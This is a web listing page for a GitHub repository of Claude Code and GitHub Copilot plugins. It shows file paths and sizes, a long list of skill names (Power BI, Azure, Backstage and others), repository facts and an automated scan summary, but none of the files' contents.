  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/color-strategy.mddoc8,597 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/conditional-formatting.mddoc23,955 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/expressions.mddoc8,015 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/filter-pane.mddoc5,028 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/filters.mddoc9,017 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/formatting-overview.mddoc5,296 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/formatting.mddoc19,672 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/image.mddoc12,637 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/map.mddoc3,535 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/page-formatting.mddoc3,740 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/powerbi-desktop.mddoc9,432 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/powerbi-report-author-cli.mddoc3,129 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/re-theming.mddoc23,025 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/screenshot-review.mddoc4,742 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/shape.mddoc12,823 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/slicers.mddoc24,089 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/table.mddoc12,560 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/textbox.mddoc5,559 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/theming.mddoc22,871 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/version-control.mddoc5,563 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/SKILL.mddoc16,869 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/assets/base.jsonasset7,716 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/accessibility.mddoc10,581 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/anti-patterns.mddoc18,112 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetype-composition.mddoc3,460 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/analytical-canvas.mddoc16,678 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/comparative-benchmark.mddoc20,049 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/executive-summary.mddoc13,945 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/narrative-story.mddoc17,216 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/operational-monitor.mddoc16,285 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/brownfield.mddoc5,417 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/chart-selection.mddoc9,371 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/color.mddoc9,838 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/design-brief.mddoc21,187 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/interactivity.mddoc6,650 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/layout.mddoc10,802 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/pre-flight-checklist.mddoc10,659 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/signatures.mddoc11,125 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/tone-catalog.mddoc14,033 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/typography.mddoc8,867 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/visual-cookbook.mddoc27,242 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-management/SKILL.mddoc30,619 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-planning/SKILL.mddoc21,974 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/SKILL.mddoc41,192 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/connection-binding.mddoc10,825 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-guidelines.mddoc11,372 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-decision-guide.mddoc32,964 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/dax-perf-patterns.mddoc30,751 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/direct-lake-guidelines.mddoc3,228 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/metadata-discovery.mddoc7,228 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/modeling-guidelines.mddoc16,659 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/naming-conventions.mddoc4,373 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/pbip.mddoc3,977 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-ai-readiness.mddoc12,767 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/semantic-model-rest-api.mddoc20,321 bytes
  • ../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/tmdl-guidelines.mddoc16,442 bytes
  • ../../../harness/claude-code/plugins/fastah-ip-geo-tools/.claude-plugin/plugin.jsonasset654 bytes
  • ../../../harness/claude-code/plugins/feedback-themes/.claude-plugin/plugin.jsonasset435 bytes
  • ../../../harness/claude-code/plugins/flight-map-canvas/.claude-plugin/plugin.jsonasset527 bytes
  • ../../../harness/claude-code/plugins/flowstudio-power-automate/.claude-plugin/plugin.jsonasset652 bytes
  • ../../../harness/claude-code/plugins/frontend-experience/.claude-plugin/plugin.jsonasset481 bytes
  • ../../../harness/claude-code/plugins/frontend-web-dev/.claude-plugin/plugin.jsonasset503 bytes
  • ../../../harness/claude-code/plugins/gem-team/.claude-plugin/plugin.jsonasset649 bytes
  • ../../../harness/claude-code/plugins/gesture-review/.claude-plugin/plugin.jsonasset412 bytes
  • ../../../harness/claude-code/plugins/git-github-workflow/.claude-plugin/plugin.jsonasset530 bytes
  • ../../../harness/claude-code/plugins/github-actions-maintenance/.claude-plugin/plugin.jsonasset606 bytes
  • ../../../harness/claude-code/plugins/go-mcp-development/.claude-plugin/plugin.jsonasset580 bytes
  • ../../../harness/claude-code/plugins/go-to-market/.claude-plugin/plugin.jsonasset549 bytes
  • ../../../harness/claude-code/plugins/incident-response/.claude-plugin/plugin.jsonasset572 bytes
  • ../../../harness/claude-code/plugins/iot-embedded-systems/.claude-plugin/plugin.jsonasset506 bytes
  • ../../../harness/claude-code/plugins/java-development/.claude-plugin/plugin.jsonasset469 bytes
  • ../../../harness/claude-code/plugins/java-kotlin-development/.claude-plugin/plugin.jsonasset523 bytes
  • ../../../harness/claude-code/plugins/java-mcp-development/.claude-plugin/plugin.jsonasset539 bytes
  • ../../../harness/claude-code/plugins/java-modernization-studio/.claude-plugin/plugin.jsonasset616 bytes
  • ../../../harness/claude-code/plugins/kotlin-mcp-development/.claude-plugin/plugin.jsonasset611 bytes
  • ../../../harness/claude-code/plugins/learning-and-mentoring/.claude-plugin/plugin.jsonasset568 bytes
  • ../../../harness/claude-code/plugins/linux-operations/.claude-plugin/plugin.jsonasset515 bytes
  • ../../../harness/claude-code/plugins/mainframe-cobol-db2-classic/.claude-plugin/plugin.jsonasset565 bytes
  • ../../../harness/claude-code/plugins/mainframe-cobol-db2/.claude-plugin/plugin.jsonasset540 bytes
  • ../../../harness/claude-code/plugins/mainframe-natural-adabas-classic/.claude-plugin/plugin.jsonasset580 bytes
  • ../../../harness/claude-code/plugins/mainframe-natural-adabas/.claude-plugin/plugin.jsonasset572 bytes
  • ../../../harness/claude-code/plugins/mcp-development/.claude-plugin/plugin.jsonasset544 bytes
  • ../../../harness/claude-code/plugins/mcp-m365-copilot/.claude-plugin/plugin.jsonasset486 bytes
  • ../../../harness/claude-code/plugins/microsoft-365-data-platform/.claude-plugin/plugin.jsonasset553 bytes
  • ../../../harness/claude-code/plugins/napkin/.claude-plugin/plugin.jsonasset675 bytes
  • ../../../harness/claude-code/plugins/noob-mode/.claude-plugin/plugin.jsonasset560 bytes
  • ../../../harness/claude-code/plugins/open-horizons-platform/.claude-plugin/plugin.jsonasset873 bytes
  • ../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes
  • ../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes
  • ../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes
  • ../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes
  • ../../../harness/claude-code/plugins/open-horizons-platform/copilot-components/hooks/open-horizons-safety/hooks.jsonasset607 bytes
  • ../../../harness/claude-code/plugins/open-horizons-platform/hooks/hooks.jsonasset502 bytes
  • ../../../harness/claude-code/plugins/open-horizons-platform/hooks/hooks.jsonasset502 bytes
  • ../../../harness/claude-code/plugins/open-horizons-platform/hooks/hooks.jsonasset502 bytes
  • ../../../harness/claude-code/plugins/openapi-to-application-csharp-dotnet/.claude-plugin/plugin.jsonasset538 bytes
  • ../../../harness/claude-code/plugins/openapi-to-application-go/.claude-plugin/plugin.jsonasset493 bytes
  • ../../../harness/claude-code/plugins/openapi-to-application-java-spring-boot/.claude-plugin/plugin.jsonasset536 bytes
  • ../../../harness/claude-code/plugins/openapi-to-application-nodejs-nestjs/.claude-plugin/plugin.jsonasset542 bytes
  • ../../../harness/claude-code/plugins/openapi-to-application-python-fastapi/.claude-plugin/plugin.jsonasset522 bytes
  • ../../../harness/claude-code/plugins/oracle-to-postgres-migration-expert/.claude-plugin/plugin.jsonasset609 bytes
  • ../../../harness/claude-code/plugins/ospo-sponsorship/.claude-plugin/plugin.jsonasset420 bytes
  • ../../../harness/claude-code/plugins/ospo-sponsorship/.claude-plugin/plugin.jsonasset420 bytes
  • ../../../harness/claude-code/plugins/partners/.claude-plugin/plugin.jsonasset454 bytes
  • ../../../harness/claude-code/plugins/pcf-development/.claude-plugin/plugin.jsonasset455 bytes
  • ../../../harness/claude-code/plugins/phoenix/.claude-plugin/plugin.jsonasset533 bytes
  • ../../../harness/claude-code/plugins/php-mcp-development/.claude-plugin/plugin.jsonasset556 bytes
  • ../../../harness/claude-code/plugins/platform-vendor-expertise/.claude-plugin/plugin.jsonasset474 bytes
  • ../../../harness/claude-code/plugins/power-apps-code-apps/.claude-plugin/plugin.jsonasset560 bytes
  • ../../../harness/claude-code/plugins/power-bi-development/.claude-plugin/plugin.jsonasset615 bytes
  • ../../../harness/claude-code/plugins/power-platform-architect/.claude-plugin/plugin.jsonasset515 bytes
  • ../../../harness/claude-code/plugins/power-platform-mcp-connector-development/.claude-plugin/plugin.jsonasset488 bytes
  • ../../../harness/claude-code/plugins/pr-artifact-explorer/.claude-plugin/plugin.jsonasset486 bytes
  • ../../../harness/claude-code/plugins/pr-artifact-explorer/.claude-plugin/plugin.jsonasset486 bytes
  • ../../../harness/claude-code/plugins/project-documenter/.claude-plugin/plugin.jsonasset670 bytes
  • ../../../harness/claude-code/plugins/project-planning/.claude-plugin/plugin.jsonasset537 bytes
  • ../../../harness/claude-code/plugins/python-mcp-development/.claude-plugin/plugin.jsonasset560 bytes
  • ../../../harness/claude-code/plugins/qdrant-development/.claude-plugin/plugin.jsonasset581 bytes
  • ../../../harness/claude-code/plugins/react18-upgrade/.claude-plugin/plugin.jsonasset614 bytes
  • ../../../harness/claude-code/plugins/react19-upgrade/.claude-plugin/plugin.jsonasset652 bytes
  • ../../../harness/claude-code/plugins/react19-upgrade/.claude-plugin/plugin.jsonasset652 bytes
  • ../../../harness/claude-code/plugins/red-hat-developer-hub/.claude-plugin/plugin.jsonasset521 bytes
  • ../../../harness/claude-code/plugins/release-notes-showcase/.claude-plugin/plugin.jsonasset427 bytes
  • ../../../harness/claude-code/plugins/repo-actions-hub/.claude-plugin/plugin.jsonasset444 bytes
  • ../../../harness/claude-code/plugins/repo-documentation/.claude-plugin/plugin.jsonasset522 bytes
  • ../../../harness/claude-code/plugins/roundup/.claude-plugin/plugin.jsonasset550 bytes
  • ../../../harness/claude-code/plugins/ruby-mcp-development/.claude-plugin/plugin.jsonasset490 bytes
  • ../../../harness/claude-code/plugins/rug-agentic-workflow/.claude-plugin/plugin.jsonasset454 bytes
  • ../../../harness/claude-code/plugins/rust-mcp-development/.claude-plugin/plugin.jsonasset539 bytes
  • ../../../harness/claude-code/plugins/salesforce-development/.claude-plugin/plugin.jsonasset524 bytes
  • ../../../harness/claude-code/plugins/security-best-practices/.claude-plugin/plugin.jsonasset560 bytes
  • ../../../harness/claude-code/plugins/signals-dashboard/.claude-plugin/plugin.jsonasset396 bytes
  • ../../../harness/claude-code/plugins/site-studio/.claude-plugin/plugin.jsonasset484 bytes
  • ../../../harness/claude-code/plugins/skill-image-gen/.claude-plugin/plugin.jsonasset606 bytes
  • ../../../harness/claude-code/plugins/software-engineering-team/.claude-plugin/plugin.jsonasset492 bytes
  • ../../../harness/claude-code/plugins/spec-driven-development/.claude-plugin/plugin.jsonasset549 bytes
  • ../../../harness/claude-code/plugins/structured-autonomy/.claude-plugin/plugin.jsonasset259 bytes
  • ../../../harness/claude-code/plugins/swift-mcp-development/.claude-plugin/plugin.jsonasset551 bytes
  • ../../../harness/claude-code/plugins/technical-spike/.claude-plugin/plugin.jsonasset484 bytes
  • ../../../harness/claude-code/plugins/testing-automation/.claude-plugin/plugin.jsonasset526 bytes
  • ../../../harness/claude-code/plugins/testing-frameworks/.claude-plugin/plugin.jsonasset570 bytes
  • ../../../harness/claude-code/plugins/the-workshop/.claude-plugin/plugin.jsonasset600 bytes
  • ../../../harness/claude-code/plugins/tiny-tool-town-submitter/.claude-plugin/plugin.jsonasset454 bytes
  • ../../../harness/claude-code/plugins/token-pacman/.claude-plugin/plugin.jsonasset435 bytes
  • ../../../harness/claude-code/plugins/typescript-mcp-development/.claude-plugin/plugin.jsonasset566 bytes
  • ../../../harness/claude-code/plugins/typespec-m365-copilot/.claude-plugin/plugin.jsonasset536 bytes
  • ../../../harness/claude-code/plugins/uizze/.claude-plugin/plugin.jsonasset539 bytes
  • ../../../harness/claude-code/plugins/ux-design-tooling/.claude-plugin/plugin.jsonasset556 bytes
  • ../../../harness/claude-code/plugins/visual-pr/.claude-plugin/plugin.jsonasset623 bytes
  • ../../../harness/claude-code/plugins/web-framework-development/.claude-plugin/plugin.jsonasset583 bytes
  • ../../../harness/claude-code/plugins/where-was-i/.claude-plugin/plugin.jsonasset442 bytes
  • ../../../harness/claude-code/plugins/windows-app-storage-inspector-cleanup/.claude-plugin/plugin.jsonasset437 bytes
  • ../../../harness/claude-code/plugins/work-hub/.claude-plugin/plugin.jsonasset465 bytes
  • ../../../harness/github-copilot/hooks/attester-import-check/hooks.jsonasset278 bytes
  • ../../../harness/github-copilot/hooks/dependency-license-checker/hooks.jsonasset282 bytes
  • ../../../harness/github-copilot/hooks/fix-broken-links/hooks.jsonasset268 bytes
  • ../../../harness/github-copilot/hooks/governance-audit/hooks.jsonasset683 bytes
  • ../../../harness/github-copilot/hooks/secrets-scanner/hooks.jsonasset298 bytes
  • ../../../harness/github-copilot/hooks/session-auto-commit/hooks.jsonasset211 bytes
  • ../../../harness/github-copilot/hooks/session-logger/hooks.jsonasset621 bytes
  • ../../../harness/github-copilot/hooks/tool-guardian/hooks.jsonasset264 bytes
  • ../../../harness/github-copilot/plugins/backstage-expert/hooks/backstage-safety/hooks.jsonasset257 bytes
  • ../../../harness/github-copilot/plugins/backstage-expert/hooks/backstage-safety/hooks.jsonasset257 bytes
  • ../../../harness/github-copilot/plugins/backstage-expert/hooks/backstage-safety/hooks.jsonasset257 bytes
  • ../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes
  • ../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes
  • ../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes
  • ../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes
  • ../../../harness/github-copilot/plugins/open-horizons-platform/hooks/open-horizons-safety/hooks.jsonasset607 bytes

No excerpt is shown for this license. Read the source on GitHub.

View the complete source on GitHub

Skills included

  • ears-validate
  • iac-review
  • postgresql-code-review
  • skill-creator
  • acreadiness-assess
  • acreadiness-generate-instructions
  • acreadiness-policy
  • agent-governance
  • agent-owasp-compliance
  • agent-supply-chain
  • audit-integrity
  • ai-team-orchestration
  • codeql
  • data-breach-blast-radius
  • gdpr-compliant
  • secret-scanning
  • security-review
  • threat-model-analyst
  • tm7-threat-model
  • doc-and-modernize
  • arize-ai-provider-integration
  • arize-annotation
  • arize-dataset
  • arize-evaluator
  • arize-experiment
  • arize-instrumentation
  • arize-link
  • arize-prompt-optimization
  • arize-trace
  • automate-this
  • suggest-awesome-github-copilot-agents
  • suggest-awesome-github-copilot-instructions
  • suggest-awesome-github-copilot-skills
  • aws-cost-optimize
  • aws-resource-health-diagnose
  • aws-resource-query
  • aws-well-architected-review
  • agentic-eval
  • apim-ai-gateway
  • azure-agentic-architecture-patterns
  • azure-ai
  • azure-api-center
  • azure-managed-redis-cache
  • entra-agent-user
  • foundry-agent-sync
  • foundry-hosted-agent-copilotkit
  • microsoft-agent-framework
  • semantic-kernel
  • azure-app-onboard
  • azure-app-onboard-prereq
  • azure-deploy
  • azure-prepare
  • azure-scaffold-wizard
  • azure-validate
  • az-cost-optimize
  • azure-cli
  • azure-compute
  • azure-enterprise-infra-planner
  • azure-infrastructure
  • azure-pricing
  • azure-resource-health-diagnose
  • azure-resource-lookup
  • azure-resource-visualizer
  • azure-terraform-cli
  • azure-terraform-terratest-module-testing
  • import-infrastructure-as-code
  • azure-kusto
  • azure-kusto-graph
  • azure-kusto-irql
  • azure-kusto-irql-graph
  • azure-messaging
  • azure-postgre-database-management
  • azure-storage
  • azure-architecture-autopilot
  • azure-container-registry-cli
  • azure-deployment-preflight
  • azure-developer-cli
  • azure-devops-cli
  • azure-static-web-apps
  • cloud-design-patterns
  • cosmosdb-datamodeling
  • update-avm-modules-in-bicep
  • azure-compliance
  • azure-entra-agent-id
  • azure-entra-app-registration
  • azure-quotas
  • azure-role-selector
  • azure-well-architected-review
  • azure-airunway-aks-setup
  • azure-argocd-cli
  • azure-helm-cli
  • azure-kubectl-cli
  • azure-kubernetes
  • azure-kubernetes-app-deploy
  • azure-kubernetes-automatic-readiness
  • azure-cloud-migrate
  • azure-upgrade
  • appinsights-instrumentation
  • azure-cost
  • azure-diagnostics
  • azure-observability-stack
  • azure-reliability
  • app-frontend-system-migration
  • app-frontend-system-migration
  • backstage-ai-catalog
  • backstage-app-bootstrap
  • backstage-app-configuration
  • backstage-authentication
  • backstage-catalog
  • backstage-catalog-db-performance
  • backstage-core-contribution
  • backstage-external-integrations
  • backstage-framework
  • backstage-kubernetes
  • backstage-mcp-actions
  • backstage-notifications
  • backstage-operations
  • backstage-permissions
  • backstage-plugin-builder
  • backstage-search
  • backstage-software-templates
  • backstage-techdocs
  • backstage-upgrade
  • backstage-workspace-kit
  • mui-to-bui-migration
  • mui-to-bui-migration
  • onboard-to-openapi-server
  • onboard-to-openapi-server
  • plugin-analytics-instrumentation
  • plugin-analytics-instrumentation
  • plugin-full-frontend-system-migration
  • plugin-full-frontend-system-migration
  • plugin-new-frontend-system-support
  • plugin-new-frontend-system-support
  • app-frontend-system-migration
  • app-frontend-system-migration
  • backstage-ai
  • backstage-ai-catalog
  • backstage-app
  • backstage-app-bootstrap
  • backstage-app-configuration
  • backstage-auth
  • backstage-authentication
  • backstage-catalog
  • backstage-catalog-db-performance
  • backstage-core-contribution
  • backstage-external-integrations
  • backstage-framework
  • backstage-integrations
  • backstage-kubernetes
  • backstage-mcp-actions
  • backstage-notifications
  • backstage-operations
  • backstage-permissions
  • backstage-plugin-builder
  • backstage-plugins
  • backstage-search
  • backstage-software-templates
  • backstage-techdocs
  • backstage-upgrade
  • backstage-workspace-kit
  • mui-to-bui-migration
  • mui-to-bui-migration
  • onboard-to-openapi-server
  • onboard-to-openapi-server
  • plugin-analytics-instrumentation
  • plugin-analytics-instrumentation
  • plugin-full-frontend-system-migration
  • plugin-full-frontend-system-migration
  • plugin-new-frontend-system-support
  • plugin-new-frontend-system-support
  • brag-sheet
  • daily-prep
  • email-drafter
  • exam-ready
  • linkedin-post-formatter
  • meeting-minutes
  • performance-review-writer
  • technical-job-search
  • remember-interactive-programming
  • content-management-systems
  • markdown-to-html
  • quasi-coder
  • dotnet-design-pattern-review
  • editorconfig
  • em-dash
  • quality-playbook
  • refactor
  • refactor-method-complexity-reduce
  • review-and-refactor
  • ruff-recursive-fix
  • tiny-stepping
  • acquire-codebase-knowledge
  • architecture-blueprint-generator
  • code-exemplars-blueprint-generator
  • copilot-instructions-blueprint-generator
  • folder-structure-blueprint-generator
  • project-workflow-analysis-blueprint-generator
  • readme-blueprint-generator
  • repo-story-time
  • technology-stack-blueprint-generator
  • context-map
  • refactor-plan
  • what-context-needed
  • integrate-context-matic
  • onboard-context-matic
  • convert-excel-to-md
  • convert-pdf-to-md
  • convert-word-to-md
  • agent-skill-stack
  • ai-ready
  • boost-prompt
  • cli-mastery
  • copilot-cli-quickstart
  • copilot-primitive-authoring
  • copilot-spaces
  • copilot-usage-metrics
  • finalize-agent-prompt
  • generate-custom-instructions-from-codebase
  • github-copilot-starter
  • harness-engineering
  • lsp-setup
  • memory-merger
  • microsoft-skill-creator
  • mini-context-graph
  • prompt-optimizer
  • remember
  • skill-creator
  • steno-mode
  • vardoger-analyze
  • copilot-plugin-authoring
  • copilot-sdk
  • adobe-illustrator-scripting
  • freecad-scripts
  • game-engine
  • image-manipulation-image-magick
  • latchshot-page-capture
  • nano-banana-pro-openrouter
  • pdftk-server
  • resemble-detect
  • rhino3d-scripts
  • slang-shader-engineer
  • transloadit-media-processing
  • aspnet-minimal-api-openapi
  • csharp-async
  • csharp-mstest
  • csharp-nunit
  • csharp-tunit
  • csharp-xunit
  • dotnet-best-practices
  • dotnet-upgrade
  • fluentui-blazor
  • bigquery-pipeline-audit
  • datanalysis-credit-risk
  • pinecone-rag
  • snowflake-semanticview
  • sql-server-table-reconciliation
  • ssma-console
  • postgresql-code-review
  • postgresql-optimization
  • sql-code-review
  • sql-optimization
  • dataverse-python-advanced-patterns
  • dataverse-python-production-code
  • dataverse-python-quickstart
  • dataverse-python-usecase-builder
  • azure-resource-health-diagnose
  • multi-stage-dockerfile
  • draw-io-diagram-generator
  • efcore-d2-db-diagram
  • excalidraw-diagram-generator
  • plantuml-ascii
  • dotnet-timezone
  • msstore-cli
  • mvvm-toolkit
  • mvvm-toolkit-di
  • mvvm-toolkit-messenger
  • nuget-manager
  • system-commandline-cli
  • winmd-api-search
  • winui3-migration-guide
  • doublecheck
  • daily-focus-board
  • from-the-other-side-anitta
  • from-the-other-side-quinn
  • from-the-other-side-vega
  • from-the-other-side-wiggins
  • eyeball
  • fabric-agentic-platform
  • activator-cli
  • azmon-mirroredcatalogs-operations-cli
  • databricks-migration
  • dataflows-cli
  • deployment-pipelines-authoring-cli
  • e2e-fabric-cost-estimation
  • e2e-medallion-architecture
  • eventhouse-cli
  • eventschemaset-cli
  • eventstream-cli
  • fabriciq

Showing 300 of 2,606 skills. See GitHub for the complete repository.

Repository facts

License
No license detected
Created
Aug 17, 2026
Last pushed
Sep 18, 2026
Forks
0
Open issues
0
Project activity
Active

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 7, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 8,371 notes
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude-plugin/marketplace.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • harness/claude-code/plugins/application-security/.claude-plugin/plugin.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
